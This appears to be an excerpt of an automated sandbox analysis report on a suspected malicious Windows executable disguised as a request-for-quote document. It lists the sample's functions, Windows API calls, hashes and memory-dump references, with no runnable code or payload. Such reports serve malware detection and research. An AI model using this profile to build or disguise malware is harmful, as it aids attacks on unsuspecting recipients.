Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00830950), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: EnumErrorLastWindows
String ID:
API String ID: 14984897-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000207,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
Opcode Fuzzy Hash: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 004026F9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction ID: 7b0a8f507568a188bd2c0a80d79ed85a493e53c174130335dce059ea839ee6d0
Opcode Fuzzy Hash: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction Fuzzy Hash: 13E01AB1B15114ABDB01ABE59D49CEEB66DEB00319F20043BF101B00D1C27989019E7E

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00401718 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction ID: f28d117729d6db308ba67ea043928a1e47cb3974c8f3bd2f87491376c6cbdc89
Opcode Fuzzy Hash: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction Fuzzy Hash: 73E048B2314200AAD710DFA5DE48EEA776CDB0036CF304676E611A61D0D2B45A41D72D

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000207,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
